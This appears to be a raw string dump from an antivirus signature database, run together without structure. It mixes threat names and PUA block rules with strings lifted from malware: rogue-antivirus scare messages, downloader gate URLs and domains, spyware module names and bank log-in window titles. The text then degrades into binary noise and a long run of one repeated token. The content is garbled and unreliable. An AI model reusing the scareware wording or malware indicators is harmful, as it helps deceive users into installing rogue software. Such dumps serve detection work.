%\\pwa.cplq %\\pwx.cplq %\\sav.cplq %\\spp.cplq %\\uav.cplq %\\vav.cplq %\\wav.cplq %\\xpa.cplq \\UltraAV.cplq %\\UltraAV.cplq \\microav.cplq %\\microav.cplq \\drantispy\\drantispy.exe] &\\drantispy\\drantispy.exe] !Slenfbot.ADZ !PornDialer.H RasSetEntryDialParamsA verificato un errore. L'applicazione Verr QUELLO CHE TI PIACE STOP-PEDOFILIA Apertura Porta... Connessione Device... CONNESSO! i t Hu[h !Renos.EH !Renos.EG !Zlob.ANR \\MmQT_v _svn\\AdbDeviceJobThread.cpp !Pushbot.HY !Renos.EI uid=%s&os=%s id=%lu&adv=%lu&uid=%s wget 3.0 !Bagle.UK !Zlob.ANS __TH_STOP__ __PM_MONITOR_STOP__ __HIRE__ Shell_TrayWnd %saswe%d.ex%s %saswe%d.ex%sxo  evc.php?id=dw0%d Your system is unprotected from new version of SpyBot@MXt 9Your system is unprotected from new version of SpyBot@MXt SpyBot@MXt is a  malware programtrojan horse that steals information and gathers Your system is probably infected with latest version of Spyware.CyberLog-X. KYour system is probably infected with latest version of Spyware.CyberLog-X. gatevc.php?pn=srch0p%dtotal Your computer is infected with last version of PSW.x-Vir trojan. PSW trojans steal your private information such as: passwords, IP-address, credit card information, registration details, documents, etc. System Alert: Trojan-Spy.Win32@mx !System Alert: Trojan-Spy.Win32@mx Security Alert: NetWorm-i.Virus@fp \"Security Alert: NetWorm-i.Virus@fp %d.bat /files/get.php? /files/get.php?] !Busky.EM !Vundo.IQ /in.php?id=       0 G/in.php?id=       0 !Dreammon.C dream/dream.php http://%s/%s?type=exe&cookie= DreamOnceFunDownPath ini.officesupdate.net ini.office2005updates.net ini.msnmessengerupdate.net ini.msnmessengerupdate.net] !Zlob.ANT zerg] !Bagle.J !Slenfbot.AEA !Slenfbot.AEB <# ph/4rd !Slenfbot.AEC !Slenfbot.AED !Slenfbot.AEE !Zlob.AMV TDL\\$ __PM2_UPD__ iebtm.exe mmmwtf ?N=S7P%1.1dN8K3 gate.php __ISC _MM_F _MM_F] !Neeris.AI !Slenfbot.AEF TrojanDownloader:HTML/Renos.C <h1>recommendations</h1><b>installantivirusandantispywaresoftware(giveninnoparticularorder):</b><br/><br/>+vistaavsec w<h1>recommendations</h1><b>installantivirusandantispywaresoftware(giveninnoparticularorder):</b><br/><br/>+vistaavsec TrojanDownloader:ASX/Wimad.H X__asf_script_command_rpf_generated__ http://www.mp3codec.info/ /load.php?id= !Bagle.K !Renos.CD !Zlob.ANV !Bagle.UL !Pushbot.HZ !Slenfbot.AEG !Slenfbot.AEH !Slenfbot.AEI !Neeris.AJ !Slenfbot.AEJ !Vundo.gen!Z !Zlob.ANW mmmwtf] !Pushbot.IA !Pushbot.IB !Cinmus.M \\\\.\\Scsi !Bagle.UM !Bagle.UN !Bagle.UO -6=Rn !Bagle.UQ -6=R2 MonitoringTool:Win32/AIOKeylogger !MonitoringTool:Win32/AIOKeylogger !Renos.EJ !Gimmiv.A !Agentsmall.I !Busky.M !Renos.EK TrojanDownloader:ASX/Wimad.I @__asf_script_command_rpf_generated__ http://freevideoz.info/ !Pushbot.IC !Slenfbot.AEK !Slenfbot.AEL Rogue:Win32/FakePowav Rogue:Win32/FakePowav @ 06_kK w\"b?0 0(m94 [http://  /installok YGHelper.DLL YGHelper.DLLDllCanUnloadNow YGHelper.SearchHelper $1F2D9C47-6AC9-4872-AACC-E1CD494F040C $1F2D9C47-6AC9-4872-AACC-E1CD494F040Ca Tgooglina.DLL  Tgooglina.DLLDllCanUnloadNowDllGetClassObjectDllRegisterServerDllUnregisterServer $44d6897b-66fb-4d19-8f5a-5caf3665c13f $b6681c49-c882-4484-b59e-329f6fc5a3b7 $b6681c49-c882-4484-b59e-329f6fc5a3b7a rapidantivirus.com [Spyware.CyberAlert2; ProcessesToKill=1 RegKeysValueToDelete=1 Description: Advice: Alert level: $Windows\\CurrentVersion\\Run\\\"Default\" support@eurekalog.com support@eurekalog.coma HowToBuy.txt (C:\\Documents and Settings\\JohnDoe\\Deskto \"Are you sure you want to uninstall \\Rapid Antivirus WinX Security Center \\Win Antivir 2008 WinXDefender  WinXProtector Power-Antivirus-2009 Power-Antivirus-2009g&  Uninstall HowToBuy.txtxQ softwares required for virus softwares required for virusxT to delete a virus WARNING_VIRUS_DETECTED xa 832172A0AC9EF2755DAFD05E77E35A24  832172A0AC9EF2755DAFD05E77E35A24 -uninstall  Spy Protector lsascs.exe /installok?ref_id= &sub_id= /install.exe Error running executable. Please try again +Error running executable. Please try again system_protector Installing System Protector... Installing System Protector...x System will be restored in %d seconds. &System will be restored in %d seconds. *** STOP: 0x00000019 (0x00000000,0xc00E0FF0,0xFFFFEFD4,0xC0000000) B*** STOP: 0x00000019 (0x00000000,0xc00E0FF0,0xFFFFEFD4,0xC0000000) BAD_FOOL_HEADER Dll Base DAteStmp - Name -help  _AppManager /order.php?lang=en&aid= /checkupdate.php?x=123 /checkupdate.php?x=123x  System Protector cs.exe 0Scan with   Critical WINXDEFENDER_BASE Description: W32.Spybot.AQGF is a worm that spreads through mIRC and to network ODescription: W32.Spybot.AQGF is a worm that spreads through mIRC and to network Description: Trojan.Goldun.G is a Trojan horse program that steals passwords LDescription: Trojan.Goldun.G is a Trojan horse program that steals passwords Security Center_AppManager_server_mutex (Security Center_AppManager_server_mutex Security Center_AppManager_send_event &Security Center_AppManager_send_event extraantivir.com MalwareRemoval uninstall {C4AC7423-017C-47EA- uninstall{C4AC7423-017C-47EA- registration registration{C4AC7423-017C-47EA- System slowdown or not starting up Infecting other computers in your network securitystatus2 securitystatus3 {C4AC7423-017C-47EA-9219-00D4192C7D76} \\u404.exe_ \\lsascs.exe_ \\podmena.exe_ \\shellex.dll_ \\windll32.exe_ \\spyprotector.cpl_ %\\spyprotector.cpl_ \\Spy Protector.lnk_ \\System Protector.lnk_ \\Microsoft\\windll32.exe_# \\desktop\\power-antivirus-20??.lnk_0 \\Microsoft\\windll32.exe_#(\\desktop\\power-antivirus-20??.lnk_0 \\power-antivirus-20??\\power-antivirus-20??.ini_0 \\power-antivirus-20??\\power-antivirus-20??.exe_? \\power-antivirus-20??\\power-antivirus-20??.ini_0&\\power-antivirus-20??\\power-antivirus-20??.exe_? \\programs\\power-antivirus-20??\\start power-antivirus-20??.lnk` \\SpyProtector` \\Spy Protector` &\\Spy Protector` \\AVDefender2011` \\Rapid Antivirus` &\\Rapid Antivirus` \\System Protector` \\System Protector] &\\System Protector] Rogue:HTML/FakeXPA <scripttype=\"text/javascript\"src=\"scaner/char-funct.js\"></script><scripttype=\"text/javascript\"src=\"scaner/var-code.js\"></script><scripttype=\"text/javascript\"src=\"scaner/decode-funct.js\"></script> !Vundo.IS !Zlob.gen!CH real.dllDllCanUnloadNowDllGetClassObjectDllRegisterServer hleo.dllDllCanUnloadNowDllGetClassObjectDllRegisterServerDllUnregisterServer !Vundo.IT !SmallVB !Slenfbot.AEM !Renos.CW !Tring.A MisleadingAd:Linux/ZkarletFlash MisleadingAd:MacOS/ZkarletFlash MisleadingAd:Perl/ZkarletFlash MisleadingAd:Python/ZkarletFlash  MisleadingAd:Python/ZkarletFlash MisleadingAd:Script/ZkarletFlash  MisleadingAd:Script/ZkarletFlash MisleadingAd:Unix/ZkarletFlash MisleadingAd:iPhoneOS/ZkarletFlash \"MisleadingAd:iPhoneOS/ZkarletFlash MisleadingAd:Win32/ZkarletFlash Program:AndroidOS/ZkarletFlash Program:FreeBSD/ZkarletFlash Program:Linux/ZkarletFlash Program:MacOS/ZkarletFlash Program:Perl/ZkarletFlash Program:Python/ZkarletFlash Program:Script/ZkarletFlash Program:Unix/ZkarletFlash Program:iPhoneOS/ZkarletFlash Program:Win32/ZkarletFlash PUA:AndroidOS/ZkarletPlush PUA:FreeBSD/ZkarletPlush PUA:Linux/ZkarletPlush PUA:MacOS/ZkarletPlush PUA:Perl/ZkarletPlush PUA:Python/ZkarletPlush PUA:Script/ZkarletPlush PUA:Unix/ZkarletPlush PUA:iPhoneOS/ZkarletPlush PUA:Win32/ZkarletPlush Adware:AndroidOS/ImpulZe ImpulZe Adware:Perl/ImpulZe Adware:Python/ImpulZe Adware:Script/ImpulZe Adware:Unix/ImpulZe Adware:iPhoneOS/ImpulZe !ImpulZe BrowserModifier:AndroidOS/ImpulZe  !BrowserModifier:AndroidOS/ImpulZe BrowserModifier:FreeBSD/ImpulZe BrowserModifier:Linux/ImpulZe BrowserModifier:MacOS/ImpulZe BrowserModifier:Perl/ImpulZe BrowserModifier:Python/ImpulZe BrowserModifier:Script/ImpulZe BrowserModifier:Unix/ImpulZe BrowserModifier:iPhoneOS/ImpulZe   BrowserModifier:iPhoneOS/ImpulZe BrowserModifier:Win32/ImpulZe MonitoringTool:AndroidOS/ImpulZe  MonitoringTool:AndroidOS/ImpulZe MonitoringTool:FreeBSD/ImpulZe MonitoringTool:Linux/ImpulZe MonitoringTool:MacOS/ImpulZe MonitoringTool:Perl/ImpulZe MonitoringTool:Python/ImpulZe MonitoringTool:Script/ImpulZe MonitoringTool:Unix/ImpulZe MonitoringTool:iPhoneOS/ImpulZe MonitoringTool:Win32/ImpulZe RemoteAccess:AndroidOS/ImpulZe RemoteAccess:FreeBSD/ImpulZe RemoteAccess:Linux/ImpulZe RemoteAccess:MacOS/ImpulZe RemoteAccess:Perl/ImpulZe RemoteAccess:Python/ImpulZe RemoteAccess:Script/ImpulZe RemoteAccess:Unix/ImpulZe RemoteAccess:iPhoneOS/ImpulZe RemoteAccess:Win32/ImpulZe Rogue:AndroidOS/ImpulZe Rogue:FreeBSD/ImpulZe Rogue:Linux/ImpulZe Rogue:MacOS/ImpulZe Rogue:Perl/ImpulZe Rogue:Python/ImpulZe Rogue:Script/ImpulZe Rogue:Unix/ImpulZe Rogue:iPhoneOS/ImpulZe Rogue:Win32/ImpulZe SettingsModifier:AndroidOS/ImpulZe \"SettingsModifier:AndroidOS/ImpulZe SettingsModifier:FreeBSD/ImpulZe  SettingsModifier:FreeBSD/ImpulZe SettingsModifier:Linux/ImpulZe SettingsModifier:MacOS/ImpulZe SettingsModifier:Perl/ImpulZe SettingsModifier:Python/ImpulZe SettingsModifier:Script/ImpulZe SettingsModifier:Unix/ImpulZe SettingsModifier:iPhoneOS/ImpulZe !SettingsModifier:iPhoneOS/ImpulZe SettingsModifier:Win32/ImpulZe SoftwareBundler:AndroidOS/ImpulZe !SoftwareBundler:AndroidOS/ImpulZe SoftwareBundler:FreeBSD/ImpulZe SoftwareBundler:Linux/ImpulZe SoftwareBundler:MacOS/ImpulZe SoftwareBundler:Perl/ImpulZe SoftwareBundler:Python/ImpulZe SoftwareBundler:Script/ImpulZe SoftwareBundler:Unix/ImpulZe SoftwareBundler:iPhoneOS/ImpulZe  SoftwareBundler:iPhoneOS/ImpulZe SoftwareBundler:Win32/ImpulZe Spyware:AndroidOS/ImpulZe Spyware:Perl/ImpulZe Spyware:Python/ImpulZe Spyware:Script/ImpulZe Spyware:Unix/ImpulZe Spyware:iPhoneOS/ImpulZe Tool:AndroidOS/ImpulZe Tool:Perl/ImpulZe Tool:Python/ImpulZe Tool:Script/ImpulZe Tool:Unix/ImpulZe Tool:iPhoneOS/ImpulZe Misleading:AndroidOS/ImpulZe Misleading:FreeBSD/ImpulZe Misleading:Linux/ImpulZe Misleading:MacOS/ImpulZe Misleading:Perl/ImpulZe Misleading:Python/ImpulZe Misleading:Script/ImpulZe Misleading:Unix/ImpulZe Misleading:iPhoneOS/ImpulZe Misleading:Win32/ImpulZe MisleadingAd:AndroidOS/ImpulZe MisleadingAd:FreeBSD/ImpulZe MisleadingAd:Linux/ImpulZe MisleadingAd:MacOS/ImpulZe MisleadingAd:Perl/ImpulZe MisleadingAd:Python/ImpulZe MisleadingAd:Script/ImpulZe MisleadingAd:Unix/ImpulZe MisleadingAd:iPhoneOS/ImpulZe MisleadingAd:Win32/ImpulZe Program:AndroidOS/ImpulZe Program:FreeBSD/ImpulZe Program:Linux/ImpulZe Program:MacOS/ImpulZe Program:Perl/ImpulZe Program:Python/ImpulZe Program:Script/ImpulZe Program:Unix/ImpulZe Program:iPhoneOS/ImpulZe Program:Win32/ImpulZe PUA:AndroidOS/InpualZe PUA:FreeBSD/InpualZe PUA:Linux/InpualZe PUA:MacOS/InpualZe PUA:Perl/InpualZe PUA:Python/InpualZe PUA:Script/InpualZe PUA:Unix/InpualZe PUA:iPhoneOS/InpualZe PUA:Win32/InpualZe Misleading:AndroidOS/SmsReg.B!xp  Misleading:AndroidOS/SmsReg.B!xp upayapi.piiwan.com .wxapi.WXPayEntryActivity upayapi.upwan.cn unregisterObserver end_Sms_Monitor_Fail www.upay360.cn Misleading:AndroidOS/SmsReg.D!xp  Misleading:AndroidOS/SmsReg.D!xp /umpay/huafubao/download mnsp.juzixiangshui.com/? sms2.upay360.com/getMobile.php xq2.1277527.com/0901? ://111.13.47.76:81/open_gate/web_game_fee.php com.upay.pay.upay_sms.service.AlarmService *com.upay.pay.upay_sms.service.AlarmService SmsInitObserver PUA:Win32/IdleBuddy PUA:Block:IdleBuddy&!PUA:Exceptionz &\"PUA:Block:IdleBuddy&!PUA:Exceptionz PUA:MacOS/Spigot.BT!MTB PUA:Block:Spigot.BT1&PUA:Block:Spigot.BT2&!PUA:Exceptionz <8PUA:Block:Spigot.BT1&PUA:Block:Spigot.BT2&!PUA:Exceptionz PUA:AndroidOS/SmsKey.DS!MTB PUA:Block:SmsKey.DS&!PUA:Exceptionz &\"PUA:Block:SmsKey.DS&!PUA:Exceptionz !Webalta!mclg %`,D! !Spector!mclg !Timesink!mclg MonitoringTool:AndroidOS/FreeSpy.DS!MTB 'MonitoringTool:AndroidOS/FreeSpy.DS!MTB BrowserHistoryCollector KeylogStateMonitor ContactObserver CallMonitor SmsMonitor  FacebookMessageExtractor FacebookMessageExtractor] !Wintrim!MSR HiveMon!mclg !Techrelinst!mclg +-tE{l !Hiloti!mclg 2Q tP Zbot!mclg !Yobrowser!mclg !Qqpass!mclg ?CM~  E !Weecnaw!mclg !Webdesk!mclg !Antivm!mclg Spyware:AndroidOS/Telerat!mclg PUA:Win32/VkDJ_BundleInstaller PUA:Block:VkDJ_BundleInstaller&!PUA:Exceptionz 1-PUA:Block:VkDJ_BundleInstaller&!PUA:Exceptionz !AgentTesla.RR!MTB Hookey!mclg Oxypumper!mclg  :h*/] !Ldpinch!mclg MonitoringTool:Win32/SimpleKeylogger $MonitoringTool:Win32/SimpleKeylogger PUA:Linux/Synscan.A!xp PUA:Block:Synscan.A!xp&!PUA:Exceptionz )%PUA:Block:Synscan.A!xp&!PUA:Exceptionz PUA:Linux/CoinMiner.P!xp PUA:Block:CoinMiner.P!xp&!PUA:Exceptionz +'PUA:Block:CoinMiner.P!xp&!PUA:Exceptionz PUA:AndroidOS/SMSreg.C!MTB PUA:Block:SMSreg.C&!PUA:Exceptionz %!PUA:Block:SMSreg.C&!PUA:Exceptionz MonitoringTool:AndroidOS/NickyRCP.A!MTB 'MonitoringTool:AndroidOS/NickyRCP.A!MTB remote-control-phone sendSMSWait getLastKnownLocation fakeCallerRequest smsmatcher  smsmatcher] !Clickspring!mclg !Usteal!mclg !Adpeak!mclg !Yelloader!mclg MonitoringTool:MSIL/PCTattletale  MonitoringTool:MSIL/PCTattletale BrowserModifier:Win32/Smudplu!mclg  \"BrowserModifier:Win32/Smudplu!mclg Program:AndroidOS/Multiverze PUA:Win32/DStudio PUA:Block:DownloadStudio&!PUA:Exceptionz +'PUA:Block:DownloadStudio&!PUA:Exceptionz !Pigsearch!mclg Spyware:AndroidOS/Androrat!mclg MonitoringTool:Win32/iMonitorsoft !MonitoringTool:Win32/iMonitorsoft PUA:Python/PSWLaZagn.A!MTB PUA:Block:PSWLaZagn.A&!PUA:Exceptionz ($PUA:Block:PSWLaZagn.A&!PUA:Exceptionz PUA:AndroidOS/SMSReg.D!MTB PUA:Block:SMSReg %!PUA:Block:SMSReg ,0A{? quFP* $cUII d/>p8j LT5)q7 nZC3G 5$,ot 3S;HT ~ 8{zYq 9^ph\t X> gROi 2GZFv G ;?> (h5=yl OLx`` lO_d*, M_0(* `Wty* RcK$/ `Hr)H% /h9xY^v Jw\\^B 6'8ODo <o?61_ Y dc:u1 @\t%B5 oT4', *,/TqE u['<k3tYm z9[Z;$ s x<s\tL 'wfodV BtiHe \"nkZP }{e!Y pigh| ${#Bj itRc2 'Dr;( h?snZ JIkRHF BO<Z, vx^D=| ,]\"`$ >gTAg -y&I} -bjkkO! 1d[t+ uQ#D+U ?U~I7Ili >(5)\t CN`tQ ONQn\\ 32`{N $Lb1s Lll~&f| >F``K `,3uT Zl@q\t ImPVa uwyJ! \"^mnC  #cCspt 6}\\rC Umr!w 4>FxO8 p9O-P o-*)\t k%di< @S]S= Sfk_N PBOARD PBOARD\t WM_PAINTCLIPBOARD WM_VSCROLLCLIPBOARD WM_SIZECLIPBOARD WM_ASKCBFORMATNAME WM_CHANGECBCHAIN WM_HSCROLLCLIPBOARD WM_QUERYNEWPALETTE WM_PALETTEISCHANGING WM_PALETTECHANGED WM_HOTKEY WM_PRINT WM_PRINTCLIENT WM_APPCOMMAND WM_THEMECHANGED WM_THEMECHANGEDX WM_HANDHELDFIRST WM_HANDHELDFIRST_ WM_HANDHELDLAST WM_HANDHELDLAST` WM_AFXFIRST WM_AFXLAST WM_PENWINFIRST WM_PENWINLAST WM_PENWINLAST$ MSVBVM60 MSVBVM50 MSVBVM events are artifacts RICHEDIT50W Exception in the timer proc C:\\Wallpaper1.bmp VDLL:HMValidateHandleCalled SkypeControlAPI SkypeControlAPIAttach SkypeControlAPIDiscover Armadillo_Mutex ChildControl ScrollBar Dialog PEEMU:VirTool:Win32/Obfuscator_Upatre riched20.dll RichEditANSIWndProc RichEdit MDICLIENT listbox WinSta0 Winsta0 00000409 Cursor Internet Explorer_Server Tibia #32769 ATL:007BF380 YTopWindow Yahoo! Messenger WMPlayerApp Playing MP3 Notepad My saved passwords - Notepad Program Manager tooltips_class32 CityBank log-in Bank of America log-in _Dummy_0x6A_ _Dummy_0x69_ _Dummy_0x68_ _Dummy_0x67_ _Dummy_0x66_ _Dummy_0x65_ _Dummy_0x64_ _Dummy_0x63_ _Dummy_0x62_ _Dummy_0x61_ _Dummy_0x60_ _Dummy_0x5F_ _Dummy_0x5E_ _Dummy_0x5D_ _Dummy_0x5C_ _Dummy_0x5B_ _Dummy_0x5A_ _Dummy_0x59_ _Dummy_0x58_ _Dummy_0x57_ _Dummy_0x56_ _Dummy_0x55_ _Dummy_0x54_ _Dummy_0x53_ _Dummy_0x52_ _Dummy_0x51_ _Dummy_0x50_ _Dummy_0x4F_ _Dummy_0x4E_ _Dummy_0x4D_ _Dummy_0x4C_ _Dummy_0x4B_ _Dummy_0x4A_ _Dummy_0x49_ _Dummy_0x48_ _Dummy_0x47_ _Dummy_0x46_ _Dummy_0x45_ _Dummy_0x44_ _Dummy_0x43_ _Dummy_0x42_ _Dummy_0x41_ _Dummy_0x40_ _Dummy_0x3F_ _Dummy_0x3E_ _Dummy_0x3D_ _Dummy_0x3C_ _Dummy_0x3B_ _Dummy_0x3A_ _Dummy_0x39_ _Dummy_0x38_ _Dummy_0x37_ _Dummy_0x36_ _DummyAA_ _DummyZ_ _DummyW_ _DummyV_ _DummyU_ _DummyT_ _DummyS_ _DummyR_ _DummyQ_ _DummyP_ _DummyO_ _DummyN_ _DummyM_ _DummyL_ _DummyK_ _DummyJ_ _DummyI_ _DummyH_ _DummyG_ _DummyF_ _DummyE_ _DummyD_ _DummyC_ _DummyB_ _DummyA_ _Dummy9_ _Dummy_x1c_ _Dummy7_ _Dummy6_ _Dummy5_ _Dummy4_ _Dummy3_ _Dummy2_ _Dummy_ MSVBVM60MSVBVM50MSVBVM events are artifactsRICHEDIT50Wmyself.dll%08x0x%xException in the timer procC:\\Wallpaper1.bmp2 :|:1 11EditButtonVDLL:HMValidateHandleCalledC:\\C:\\WinSta0SkypeControlAPISkypeControlAPIAttachSkypeControlAPIDiscoverGDI32.DLLArmadillo_MutexGDI32.DLLChildControlStaticListBoxScrollBarComboBox#32770DialogPEEMU:VirTool:Win32/Obfuscator_Upatreriched20.dllRichEditANSIWndProcRichEditMDICLIENTMDICLIENTlistboxWINSTA0WinSta0Winsta0Winsta000000409CursorInternet Explorer_ServerTibiaClientTibia#32769ATL:007BF380YTopWindowYahooBuddyMainYahoo! MessengerWMPlayerAppPlaying MP3NotepadMy saved passwords - NotepadProgram ManagerShell_TrayWndtooltips_class32CityBank log-inIEFrameBank of America log-infalsetrue_Dummy_0x6A__Dummy_0x69__Dummy_0x68__Dummy_0x67__Dummy_0x66__Dummy_0x65__Dummy_0x64__Dummy_0x63__Dummy_0x62__Dummy_0x61__Dummy_0x60__Dummy_0x5F__Dummy_0x5E__Dummy_0x5D__Dummy_0x5C__Dummy_0x5B__Dummy_0x5A__Dummy_0x59__Dummy_0x58__Dummy_0x57__Dummy_0x56__Dummy_0x55__Dummy_0x54__Dummy_0x53__Dummy_0x52__Dummy_0x51__Dummy_0x50__Dummy_0x4F__Dummy_0x4E__Dummy_0x4D__Dummy_0x4C__Dummy_0x4B__Dummy_0x4A__Dummy_0x49__Dummy_0x48__Dummy_0x47__Dummy_0x46__Dummy_0x45__Dummy_0x44__Dummy_0x43__Dummy_0x42__Dummy_0x41__Dummy_0x40__Dummy_0x3F__Dummy_0x3E__Dummy_0x3D__Dummy_0x3C__Dummy_0x3B__Dummy_0x3A__Dummy_0x39__Dummy_0x38__Dummy_0x37__Dummy_0x36__DummyAA__DummyZ__DummyW__DummyV__DummyU__DummyT__DummyS__DummyR__DummyQ__DummyP__DummyO__DummyN__DummyM__DummyL__DummyK__DummyJ__DummyI__DummyH__DummyG__DummyF__DummyE__DummyD__DummyC__DummyB__DummyA__Dummy9__Dummy_x1c__Dummy7__Dummy6__Dummy5__Dummy4__Dummy3__Dummy2__Dummy_ N~PA~ \"SA~RSDS_ user32.pdb user32.pdbHO mpositij mpositijj $SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA~$SA